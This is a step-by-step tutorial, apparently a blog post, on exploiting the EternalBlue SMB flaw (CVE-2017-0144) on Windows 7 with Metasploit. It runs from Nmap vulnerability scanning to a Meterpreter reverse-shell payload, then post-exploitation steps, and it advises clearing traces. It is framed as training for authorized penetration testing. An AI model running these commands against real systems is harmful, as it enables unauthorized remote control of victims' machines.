This article provides a detailed step-by-step guide on exploiting the vulnerability identified as CVE-2017-0144, commonly known as MS17-010. This vulnerability affects Microsoft Windows and is associated with the Server Message Block (SMB) protocol. It gained notoriety due to its role in the WannaCry ransomware attack. The following steps outline the process of exploiting this vulnerability for educational purposes only, emphasizing the importance of ethical hacking and responsible disclosure.

The EternalBlue vulnerability was instrumental in some of the most damaging cyberattacks in history, such as the WannaCry ransomware attack and NotPetya. Although Microsoft has released a patch (MS17-010), many systems remain vulnerable due to the delay in patch management or unsupported legacy systems.

In this guide, I will walk you through the steps to exploit this vulnerability using the Metasploit Framework. The target system is assumed to be a vulnerable, unpatched Windows 7 machine, and I will utilize Metasploit’s EternalBlue exploit module to demonstrate how this vulnerability can be used for Remote Code Execution (RCE).

Step by Step Exploit of CVE-2017-0144 (MS17-010)

Table of Contents

Prerequisites

Before proceeding with the exploitation steps, ensure you have the following:

A vulnerable Windows system (Windows 7, Windows Server 2008, etc.)
A system to run the exploit (Kali Linux or similar)
Metasploit Framework installed on your attacking machine
Basic knowledge of networking and command-line interfaces

Step 1: Setting Up the Environment

Install Metasploit: Ensure that Metasploit is installed on your attacking machine. You can install it using the following command:
```
sudo apt-get install metasploit-framework
```

Start Metasploit: Launch the Metasploit console by running:
```
msfconsole
```

Step 2: Scanning for Vulnerable Systems

Identify Target IP: Determine the IP address of the target Windows machine.

Use Nmap for Scanning: Run an Nmap scan to check for open SMB ports (TCP 445):
```
nmap -p 445 
```

Check for Vulnerability: You can use the following command to check if the target is vulnerable:
```
nmap --script smb-vuln-ms17-010 -p 445 
```

Step 3: Configure the Exploit

Select the Exploit: In the Metasploit console, load the exploit module for MS17-010:
```
use exploit/windows/smb/ms17_010_eternalblue
```

Set the Target: Specify the target IP address:
```
set RHOST 
```

Set the Payload: Choose a payload to execute after the exploit is successful. For example, to use a reverse shell:
```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

Configure Payload Options: Set the local host (your attacking machine’s IP) and local port:
```
set LHOST 
set LPORT 
```

Step 4: Execute the Exploit

Run the Exploit: Execute the exploit by typing:
```
exploit
```

Session Handling: If successful, you should receive a Meterpreter session. You can interact with the session using:
```
sessions -i 
```

Step 5: Post-Exploitation

Gather Information: Use Meterpreter commands to gather information about the compromised system:
```
sysinfo
```

Privilege Escalation: Attempt to escalate privileges if necessary.

Cleanup: Always ensure to clean up any traces of your activities to maintain ethical standards.

Conclusion

This document provided a step-by-step guide on exploiting the CVE-2017-0144 vulnerability. It is crucial to remember that exploiting vulnerabilities without permission is illegal and unethical. Always conduct penetration testing in a controlled environment and with proper authorization. Responsible disclosure is key to improving security for everyone.